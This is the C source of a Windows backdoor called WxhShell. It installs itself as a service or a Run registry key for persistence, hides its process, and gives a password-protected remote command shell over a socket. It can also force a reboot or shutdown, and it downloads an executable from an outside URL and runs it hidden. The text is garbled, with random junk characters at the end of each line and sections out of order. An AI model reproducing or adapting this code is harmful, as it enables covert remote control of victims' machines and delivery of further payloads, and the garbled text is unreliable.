  case 'd': { BH$+{rZ8t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %\n&iRwDF  
    if(Boot(SHUTDOWN)) B$kp\yL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YTo^Q&  
    else { ZPolE_P7  
    closesocket(wsh); eVx &S a  
    ExitThread(0); r" )zR,  
    } i@|.1dWh  
    break; $h|rd+},  
    } ^FZ7)T  
  // 获取shell JHCV7$RS  
  case 's': { {cF >, T  
    CmdShell(wsh); . 7EZB  
    closesocket(wsh); dS[="Set  
    ExitThread(0); `+go| 5N2  
    break; =P"Sm r  
  } Hxm CKW!  
  // 退出 N;BS;W5I  
  case 'x': { _Mis-K:]{?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e2xqK G  
    CloseIt(wsh); )xMP  
    break; 8;r7ksE~  
    } Q, !b  
  // 离开 >5|;8v-r  
  case 'q': { x# &ZGFr~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); At#'q>Dn  
    closesocket(wsh); (KDv>@5  
    WSACleanup(); W%k0_Y/5  
    exit(1); Mi5"XQ>/  
    break; !Ci\Zg  
        } [!v| M  
  } cLD-,v;c  
  } i%R2#F7I  
]&D;'),   
  // 提示信息 QhHexr6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;%R+]&J  
} `Y`QxU!d%  
  } pdrF/U+  
L'JEkji"  
  return; 7v~\c%1V  
} F ;m1I+;  
Jc#()4  
// shell模块句柄 %Jr6pmc  
int CmdShell(SOCKET sock) = +uUWJ&1G  
{ ?+bDFM}  
STARTUPINFO si; [-bT_X  
ZeroMemory(&si,sizeof(si)); vKX $Nf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kb#}f/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3GSoHsNk  
PROCESS_INFORMATION ProcessInfo; Ye8&cZ*.  
char cmdline[]="cmd"; sDH|k@K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ')ErXLP_  
  return 0; w]{NaNIeq1  
} }0({c~z\  
]bq<vI%  
// 自身启动模式 8'2lc  
int StartFromService(void) PG1#Z?_  
{ s)e; c<(/  
typedef struct 3-Q*umh  
{ `aS9 o]t  
  DWORD ExitStatus; g]g2`ab |  
  DWORD PebBaseAddress; (zFUC]  
  DWORD AffinityMask; V+()`>44  
  DWORD BasePriority; oj7X9~ nd  
  ULONG UniqueProcessId; $UZ4,S?V  
  ULONG InheritedFromUniqueProcessId; 35;)O -  
}   PROCESS_BASIC_INFORMATION; BHwQB2t gc  
cs?@Ri=g  
PROCNTQSIP NtQueryInformationProcess; jG3}V3|.  
S"iQQV{)Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vYD>m~Qc^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {9<2{$Og  
GLe(?\Ug=  
  HANDLE             hProcess; *mM+(]8US  
  PROCESS_BASIC_INFORMATION pbi; bT@7&  
V;Zp3Qo!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fNi&1J-/  
  if(NULL == hInst ) return 0; Hy<4q^3$G  
><X!~by  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3:rH1vG.m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j/bebR}X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sBuVm<H  
g#V3u=I8~  
  if (!NtQueryInformationProcess) return 0; yiUJ!m  
$ ;/Ny)"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DlR&Lnv  
  if(!hProcess) return 0; 6qK0G$>  
`he{"0U~S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p;VqkSQ76  
N,w;s-*  
  CloseHandle(hProcess); .~ a)  
% 8kbX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qFV=P k  
if(hProcess==NULL) return 0; =L$};ko  
J ,fXXi)J  
HMODULE hMod; y @AKb  
char procName[255]; S{Au%Rs  
unsigned long cbNeeded; xXK7i\ny  
HnVUG4yZTD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EjB<`yT  
S\Qh#y FT  
  CloseHandle(hProcess); #](k,% 2  
4];Qpln  
if(strstr(procName,"services")) return 1; // 以服务启动 x#e(&OjN7  
Nh41o0  
  return 0; // 注册表启动 Y#c11q Z  
} E~zLhJTUL'  
IPcAE!h6zN  
// 主模块 '?Q [.{<  
int StartWxhshell(LPSTR lpCmdLine) -9{}rE  
{ `^s(r>2  
  SOCKET wsl; sp[nKo ^  
BOOL val=TRUE; {"e/3  
  int port=0; pF.Ws,nQ5  
  struct sockaddr_in door; n(a7%Hx2  
F5%-6@=  
  if(wscfg.ws_autoins) Install(); 3vOI=ar=L~  
{R[lsdH(X  
port=atoi(lpCmdLine); 0-g,C=L  
K+H?,I  
if(port<=0) port=wscfg.ws_port; Z>a_vC  
r3w.$  
  WSADATA data; 5SX0g(C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,u( g#T  
N7Z&_$Bx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [*?P2.bf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #l-,2C~  
  door.sin_family = AF_INET; ']f]:X;6 w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T~%5^+[h  
  door.sin_port = htons(port); 7F3Hkvd[k  
]k{cPK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZzI^*Nyg  
closesocket(wsl); M!=v"C#  
return 1; quf,Z K5  
} 2Z,;#t  
ekP=/;T#S  
  if(listen(wsl,2) == INVALID_SOCKET) { YjS|Ht->  
closesocket(wsl); J mFzSR?}  
return 1; YFLWkdqAY  
} -MHu BgYJ-  
  Wxhshell(wsl); gSu+]N  
  WSACleanup(); .gT@_.ZD9  
8&ZUkDGkJ  
return 0; R]/F{Xs  
^k^%w/fo  
} .4F(Y_c  
>Z|4/PF  
// 以NT服务方式启动 -H.;73Kb[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RGLwtN  
{ [fR<#1Z  
DWORD   status = 0; *D;B%j^;  
  DWORD   specificError = 0xfffffff; Ec0Ee0%A]  
;pb~Zk/[,w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8.jd'yp*J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V* fDvr0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &66G  
  serviceStatus.dwWin32ExitCode     = 0; uz Z|w+3O  
  serviceStatus.dwServiceSpecificExitCode = 0; GWA_,/jS%  
  serviceStatus.dwCheckPoint       = 0; fylW)W4C  
  serviceStatus.dwWaitHint       = 0; fdd3H[  
0,m*W?^31  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yQ+#Tlji  
  if (hServiceStatusHandle==0) return; m98k /w_  
EE&~D~yHUL  
status = GetLastError(); yYdXAenQ  
  if (status!=NO_ERROR) fgl"ox  
{ YQ37P?u@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rl3KE)<  
    serviceStatus.dwCheckPoint       = 0; V%y kHo  
    serviceStatus.dwWaitHint       = 0; LAf!y"A#  
    serviceStatus.dwWin32ExitCode     = status; 9S6vU7W  
    serviceStatus.dwServiceSpecificExitCode = specificError; _BtlO(0&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _V:D7\Gs  
    return; S~/iH Xm  
  } 1Q?hskL  
x 6,S#p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fb`VYD9[^  
  serviceStatus.dwCheckPoint       = 0; qI;k2sQR  
  serviceStatus.dwWaitHint       = 0; "VcGr#zW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hUA3(!0)  
} C _[jQTr  
Q1&: +7 %  
// 处理NT服务事件,比如:启动、停止 pb E`Eq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |.(o4<nx.  
{ j*QY_Ny*  
switch(fdwControl) `2S{.s  
{ mvUYp,JECl  
case SERVICE_CONTROL_STOP: mW8CqW\Q5  
  serviceStatus.dwWin32ExitCode = 0; :?RK>}4|F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~01r c  
  serviceStatus.dwCheckPoint   = 0; wM!QU{Lz  
  serviceStatus.dwWaitHint     = 0; CF42KNq  
  { YLobBtXc9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ubn5tN MK  
  } i7fpl  
  return; b>2u>4  
case SERVICE_CONTROL_PAUSE: V!},a@>p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'd6hQ4Vw4  
  break; k,?Y`s  
case SERVICE_CONTROL_CONTINUE: z=ppNP0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nb]qY>K  
  break; )b!q  
case SERVICE_CONTROL_INTERROGATE: <o?qpW$,>  
  break; YT:<AJm  
}; qU2>V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C 7+TnJ  
} k9R1E/;  
1Tiq2+hmf  
// 标准应用程序主函数 pd7FU~-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >Q5 SJZ/  
{ h Qu9ux  
kN]#;R6  
// 获取操作系统版本 P'Y8 t  
OsIsNt=GetOsVer(); @KS:d\l}U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;WGY)=-gv  
`RmB{qgB  
  // 从命令行安装 9wWjl}%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4-3B"  
|{oKhC^yG  
  // 下载执行文件 dr/!wr'&hS  
if(wscfg.ws_downexe) { hgVwoZ{`]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UZ] (X/  
  WinExec(wscfg.ws_filenam,SW_HIDE); rSEJ2%iF*  
} r2sog{R  
dOiy[4s  
if(!OsIsNt) { ut\9@>*J=Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 `kj7I{'l%9  
HideProc(); Yhlk#>I  
StartWxhshell(lpCmdLine); Rf%ver  
} <:&w/NjbI  
else Nz:  
  if(StartFromService()) mZM5aTQ3  
  // 以服务方式启动  g| r  
  StartServiceCtrlDispatcher(DispatchTable);  dc5B#  
else R2~Rqlti  
  // 普通方式启动 BAKfs/N  
  StartWxhshell(lpCmdLine); qx!IlO  
&12aI |u^<  
return 0; l0@$]76cX;  
} y|lP.N/  
UoKBcarm  
vNtbb]')m  
+ZZiZ&y  
=========================================== ZcdS?Z2k  
3G>E>yJ  
?tSY=DK\n  
;w6\r!O,  
u YH{4%  
$x2<D :  
" vF([mOZ  
0cS.|\ZTA  
#include <stdio.h> vMC;5r6*d  
#include <string.h> &=7ur  
#include <windows.h> ~O^_J)  
#include <winsock2.h> h2BD?y  
#include <winsvc.h> Bo~wD|E2  
#include <urlmon.h> (wA|lK3  
c2F`S1Nu<  
#pragma comment (lib, "Ws2_32.lib") P)}:lTe  
#pragma comment (lib, "urlmon.lib") UHCx}LGe  
oNEU?+  
#define MAX_USER   100 // 最大客户端连接数 qBwqxxTc  
#define BUF_SOCK   200 // sock buffer \+>b W(  
#define KEY_BUFF   255 // 输入 buffer T[;{AXLeI  
$==hr^H  
#define REBOOT     0   // 重启 hi ]+D= S  
#define SHUTDOWN   1   // 关机 MBwp{ET!p  
<]!IC]+  
#define DEF_PORT   5000 // 监听端口 U>I#f  
0<Pe~i_=  
#define REG_LEN     16   // 注册表键长度 j5HOdy2  
#define SVC_LEN     80   // NT服务名长度 Q;^([39DI  
Ugs<WVp$  
// 从dll定义API Lh,<q >t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +V7p?iEY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HL!-4kN <$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~&q e"0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); My1E@<  
8t7hN?,t  
// wxhshell配置信息 >H%8~ Oek  
struct WSCFG { 9c?izpA  
  int ws_port;         // 监听端口 +X- k)9  
  char ws_passstr[REG_LEN]; // 口令  #?,cYh+  
  int ws_autoins;       // 安装标记, 1=yes 0=no MR~BWH?@1  
  char ws_regname[REG_LEN]; // 注册表键名 Wx-{F  
  char ws_svcname[REG_LEN]; // 服务名 ?O3 G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o^NQ]BdH8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0FW=8hFp,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3&zmy'b*:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no   C[Fh^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U?rfE(!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \:#b9t{B-  
A} "*`y  
}; MdKZH\z/  
<0vvlOL5  
// default Wxhshell configuration V{*9fB#4L  
struct WSCFG wscfg={DEF_PORT, M6I1`Lpf  
    "xuhuanlingzhe", qI"mW@G~H  
    1, 7oWv'  
    "Wxhshell", 9QYU J  
    "Wxhshell", }1>a71  
            "WxhShell Service", 4EELaP|%  
    "Wrsky Windows CmdShell Service", PNG'"7O  
    "Please Input Your Password: ", [|>.iH X  
  1, n}+ DO6J  
  "http://www.wrsky.com/wxhshell.exe", urN&."c  
  "Wxhshell.exe" fvx0]of  
    }; +g;G*EP7*  
HR}c9wy,q\  
// 消息定义模块 *?8Q:@:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *rbH|o8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qd.b&i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9}\T?6?8pX  
char *msg_ws_ext="\n\rExit."; e (f)?H  
char *msg_ws_end="\n\rQuit."; z~W@`'f  
char *msg_ws_boot="\n\rReboot..."; }FK6o 6  
char *msg_ws_poff="\n\rShutdown..."; B;@yOm=  
char *msg_ws_down="\n\rSave to "; 8O7JuR  
`b2 I)xC#  
char *msg_ws_err="\n\rErr!"; BBx"{~  
char *msg_ws_ok="\n\rOK!"; a0n F U  
^NCH)zK]v  
char ExeFile[MAX_PATH]; E8nqEx Q  
int nUser = 0; Gg&jb=  
HANDLE handles[MAX_USER]; WFB2Ub7  
int OsIsNt; JE j+>  
0I cyi#N  
SERVICE_STATUS       serviceStatus; _A,m@BCz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o0/03O  
,Bta)  
// 函数声明 h!Ka\By8#  
int Install(void); m}XI?[!s  
int Uninstall(void); -0kwS4Hx2  
int DownloadFile(char *sURL, SOCKET wsh); REt()$ 7~  
int Boot(int flag); 1"'//0 7  
void HideProc(void); S)~h|&A(  
int GetOsVer(void); =DtM.oQ>  
int Wxhshell(SOCKET wsl); xJ3#k;  
void TalkWithClient(void *cs); [$./'-I]  
int CmdShell(SOCKET sock); @wg*~"d  
int StartFromService(void); Y,8M[UIK  
int StartWxhshell(LPSTR lpCmdLine); $HH(8NoL  
*s!8BwiE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _ x7Vyy5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :4WwCpgz,  
Y3-P*  
// 数据结构和表定义 x,>=X` T  
SERVICE_TABLE_ENTRY DispatchTable[] = ="u(o(j"  
{ uwIZzz  
{wscfg.ws_svcname, NTServiceMain}, Sd)D-S  
{NULL, NULL} jeW0;Cz J~  
}; fer'2(G?W  
]y(#]Tw\  
// 自我安装 "16==tLFE  
int Install(void) sz)3 z  
{ F;z FKvn  
  char svExeFile[MAX_PATH]; D~1nh%x_  
  HKEY key; ML R3 A s  
  strcpy(svExeFile,ExeFile); ,og@}gOMB  
-aO3/Ik [q  
// 如果是win9x系统,修改注册表设为自启动 $;@s  
if(!OsIsNt) { Bb1dH/8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $zdJ\UX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $EtZ5?qS  
  RegCloseKey(key); P8TiB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @z2RMEC~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7?A}q mv  
  RegCloseKey(key); `R; ct4-  
  return 0; J|I|3h<T  
    } v5*SoUOF  
  } hwO]{)%  
} z cA"\  
else { bg$e80  
C 4n5U^  
// 如果是NT以上系统,安装为系统服务 :Ct} ||9/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a|fyo#L  
if (schSCManager!=0) Kj-`ru  
{ G q:7d]c~T  
  SC_HANDLE schService = CreateService #!5GGe{I  
  ( +\{!jB*g  
  schSCManager, gHm ^@  
  wscfg.ws_svcname, HFf| >&c&  
  wscfg.ws_svcdisp, *M8 4Dry`y  
  SERVICE_ALL_ACCESS, 7g=Ze~aq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?n_Y _)9  
  SERVICE_AUTO_START, fygy#&}~  
  SERVICE_ERROR_NORMAL, ~=c#Ff =Z  
  svExeFile, 7gJ`G@y  
  NULL, xxedezNko  
  NULL, 5[;^Em)C  
  NULL, !>! l=Z  
  NULL, {UwJg  
  NULL ?C4a,%  
  ); .*y{[."!  
  if (schService!=0) .!Z.1:YR  
  { qC]D9 A  
  CloseServiceHandle(schService); I]} MK?  
  CloseServiceHandle(schSCManager); }]f)Fz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uT=sDWD :  
  strcat(svExeFile,wscfg.ws_svcname); *ZY{^f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NW~n+uk5v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T%ha2X=  
  RegCloseKey(key); .kBAUkL:  
  return 0; 5#iv[c  
    } #%x4^A9 q  
  } !.F`8OD`u  
  CloseServiceHandle(schSCManager); RJGf@am&  
} fPspJug  
} 2o{Fp7l  
zf^!Zqn[8z  
return 1; lM?P8#3  
} '1bdBx\<.  
KaO8rwzDN  
// 自我卸载 `<[Zs]Fe4  
int Uninstall(void) B<_T"n'#b  
{ PN<Y&/fB  
  HKEY key; G*Qk9bk9  
V_0e/7}Ya  
if(!OsIsNt) { 3``$yWWg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `qX'9e3VP+  
  RegDeleteValue(key,wscfg.ws_regname); LkJ3 :3O  
  RegCloseKey(key); Is-Kz}4L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h/PWi<R i  
  RegDeleteValue(key,wscfg.ws_regname); I'J=I{p*  
  RegCloseKey(key); ~!Onz wmO  
  return 0; {iHC;a5gb$  
  } 6nxf <1  
} @{~x:P5g  
} _RhCVoeB  
else { &W}ooGg  
G+}|gG8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K2)),_,@5+  
if (schSCManager!=0) <L:v28c  
{ ?6~RGg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HQTB4_K\  
  if (schService!=0) i7*4hYY  
  { llQDZ}T  
  if(DeleteService(schService)!=0) { 4l[f}Z  
  CloseServiceHandle(schService); >.~^(  
  CloseServiceHandle(schSCManager); qH"e: wgL  
  return 0; v-&^G3  
  } T4._S:~  
  CloseServiceHandle(schService); #jK{)%}mA  
  } !d%OoRSU'  
  CloseServiceHandle(schSCManager); ;V`~'357%  
} JF!!)6!2#  
} hA)3Ah*  
&vd9\Pp  
return 1; ld`oIEj!P_  
} >.QD:_@:  
"'dt"x)  
// 从指定url下载文件 c\"oj&>A  
int DownloadFile(char *sURL, SOCKET wsh) e2Ba@e-  
{ RG#  
  HRESULT hr; $UO7AHk  
char seps[]= "/"; ^vJ08gu_W  
char *token; &c?-z}=G  
char *file; A]ciox$AjW  
char myURL[MAX_PATH]; 3mpEF<z  
char myFILE[MAX_PATH]; Fg`r:,(a  
GfPe0&h  
strcpy(myURL,sURL); Ku56TH!Py  
  token=strtok(myURL,seps); &2#<6=}  
  while(token!=NULL) Kx$?IxZ  
  { (m~MyT#S  
    file=token; ub./U@ 1  
  token=strtok(NULL,seps); cM.q^{d`  
  } K|E}Ni  
F(}d|z@@  
GetCurrentDirectory(MAX_PATH,myFILE); l'?/$?'e_Z  
strcat(myFILE, "\\"); _8DY9GaE  
strcat(myFILE, file); >"N\ZC^  
  send(wsh,myFILE,strlen(myFILE),0); 4|7L26,]5  
send(wsh,"...",3,0); N{ ;{<C9Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y |n_Ro^~  
  if(hr==S_OK) 1,9RfYV  
return 0; Y Q3%vH5#y  
else HFvhrG  
return 1; v )4 kS  
FHqa|4Ie  
} '+Ts IJh  
C&K%Q3V  
// 系统电源模块 k7f[aM5]  
int Boot(int flag) ,k+jx53XV  
{ _N0x&9S$  
  HANDLE hToken; q$~S?X5\  
  TOKEN_PRIVILEGES tkp; Fu!:8Wp!(  
$A8eMJEpL  
  if(OsIsNt) { c;B Q$je}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :KMo'pL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #](ML:!  
    tkp.PrivilegeCount = 1; @N1ta-D#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; el 5F>)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E}.cz\!.  
if(flag==REBOOT) { ;m@>v?zE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c{s<W}3Ds  
  return 0; `p*7MZ9 -  
} mWta B>f  
else { h9&<-k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $1#|<|  
  return 0; ^~eT# Y8  
} yEzp+Ky  
  } Ed.~9*m  
  else { -L</,>p  
if(flag==REBOOT) { cD-\fRBGK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vy&F{T;$  
  return 0; eW0:&*.vMj  
} 2m/1:5  
else { &=K-~!?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _QkU,[E  
  return 0; rL&585  
} c|hKo[r)  
} SDcD(G  
3sHC1 +  
return 1; HOtays,#<}  
} daY^{u3  
>{ne!  
// win9x进程隐藏模块 RkP7}ZA;  
void HideProc(void) ^V_vpr]}P  
{ z2wR]G5!  
Q^ bG1p//.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h&;\   
  if ( hKernel != NULL ) fb&K.6"  
  { ~|R"GloUw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o_X"+s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UIIunA9  
    FreeLibrary(hKernel); V92e#AR  
  } m9.QGX\]  
sW@4r/F>:D  
return; UOT~L4 G  
} 6TlkPM$~2  
'hg, W]  
// 获取操作系统版本 <b{Le{QJ*  
int GetOsVer(void)  }m\  
{ a:H}c9 $%  
  OSVERSIONINFO winfo; JY_+p9KfyQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kc1 *@<L6  
  GetVersionEx(&winfo); ].7)^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =/V r,y$  
  return 1; >eWHPO  
  else \ bd? `."  
  return 0; a~:'OW:Q  
} H:a(&Zb  
vEW;~FLd  
// 客户端句柄模块 {SCwi;m  
int Wxhshell(SOCKET wsl) D{PO!WzW  
{ u`R  
  SOCKET wsh; _lu.@IX-  
  struct sockaddr_in client; GriL< =?t  
  DWORD myID; `cMa Fc-y/  
^A;v|U  
  while(nUser<MAX_USER) b"/P  
{ [;h@ q}  
  int nSize=sizeof(client); - "h {B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q}1AV7$Ai  
  if(wsh==INVALID_SOCKET) return 1; i *nNu-g  
!NZFo S~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oT_k"]~Q~2  
if(handles[nUser]==0) fL' 42  
  closesocket(wsh); y3))I\QT  
else +Y'(,J  
  nUser++; +c+#InsY  
  } C4#'`8E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "Do9gW  
CdC&y}u  
  return 0; uRxo,.}c  
} ,.x1+9X  
G'#a&6  
// 关闭 socket vb\UP&Ip  
void CloseIt(SOCKET wsh) Ub4j3`  
{ j]M $>2;  
closesocket(wsh); eiJ $}\qJL  
nUser--; 7z5AI!s_  
ExitThread(0); 83OOM;'  
} V`G)8?%Vy  
u=p([ 5]  
// 客户端请求句柄 *^}(LoPZ  
void TalkWithClient(void *cs) xBl}=M?Qu  
{ m7~kRY514  
]@C&Q,~q  
  SOCKET wsh=(SOCKET)cs; v>;6pcp[F  
  char pwd[SVC_LEN]; Z  r  
  char cmd[KEY_BUFF]; S^a")U4  
char chr[1]; qIuY2b`6  
int i,j; s{'r'`z.  
,M5zhp$  
  while (nUser < MAX_USER) { #92MI#|n9  
<vhlT#p   
if(wscfg.ws_passstr) { 'HH[[9Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zxT&K|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u\Tq5PYXt  
  //ZeroMemory(pwd,KEY_BUFF); D)K/zh)  
      i=0; '\[GquK;P  
  while(i<SVC_LEN) { `G@]\)-!  
WVir[Kv%  
  // 设置超时 4$@5PS#,  
  fd_set FdRead; 118A6qyi  
  struct timeval TimeOut; rB< UOe  
  FD_ZERO(&FdRead); (wo.OH  
  FD_SET(wsh,&FdRead); |9@?8\   
  TimeOut.tv_sec=8; OU/PB  
  TimeOut.tv_usec=0; diaLw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :BN qr[=b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "tn]s>iAd=  
pbl;n|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E&7U |$  
  pwd=chr[0]; l]uF!']f  
  if(chr[0]==0xd || chr[0]==0xa) { s1?N&t8c  
  pwd=0; }c:s+P+/  
  break; )xoIH{  
  } Kj;Q;Ii  
  i++; ; SagN  
    } |Q@4F&k  
z^ rf;  
  // 如果是非法用户,关闭 socket oDrfzm|[Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !w(J]<  
} gC> A *~J;  
Cz#0Gh>1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xKv\z1ra  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,KdD owc  
;vy"i  
while(1) { f)Z$ ,&  
9h9 jS~h  
  ZeroMemory(cmd,KEY_BUFF); 6`J*{%mP  
;1'X_tp  
      // 自动支持客户端 telnet标准   >DP9S@W  
  j=0; LD0x 4zm$m  
  while(j<KEY_BUFF) { .Wc<(pfa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~+/IzckrG  
  cmd[j]=chr[0]; Wj(O_2  
  if(chr[0]==0xa || chr[0]==0xd) { @aAB#,  
  cmd[j]=0; Tuo`>ZA  
  break; RpOGY{[)[  
  } cGIxE[n'  
  j++; @ 4#q  
    } 0r*E$|zZ  
.hzzoLI2  
  // 下载文件 zn@<>o8hU  
  if(strstr(cmd,"http://")) { X3-pj<JLY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zogw1g&C  
  if(DownloadFile(cmd,wsh)) hs!a'E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &5h{XSv  
  else o:W>7~$jr=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ej~vp2  
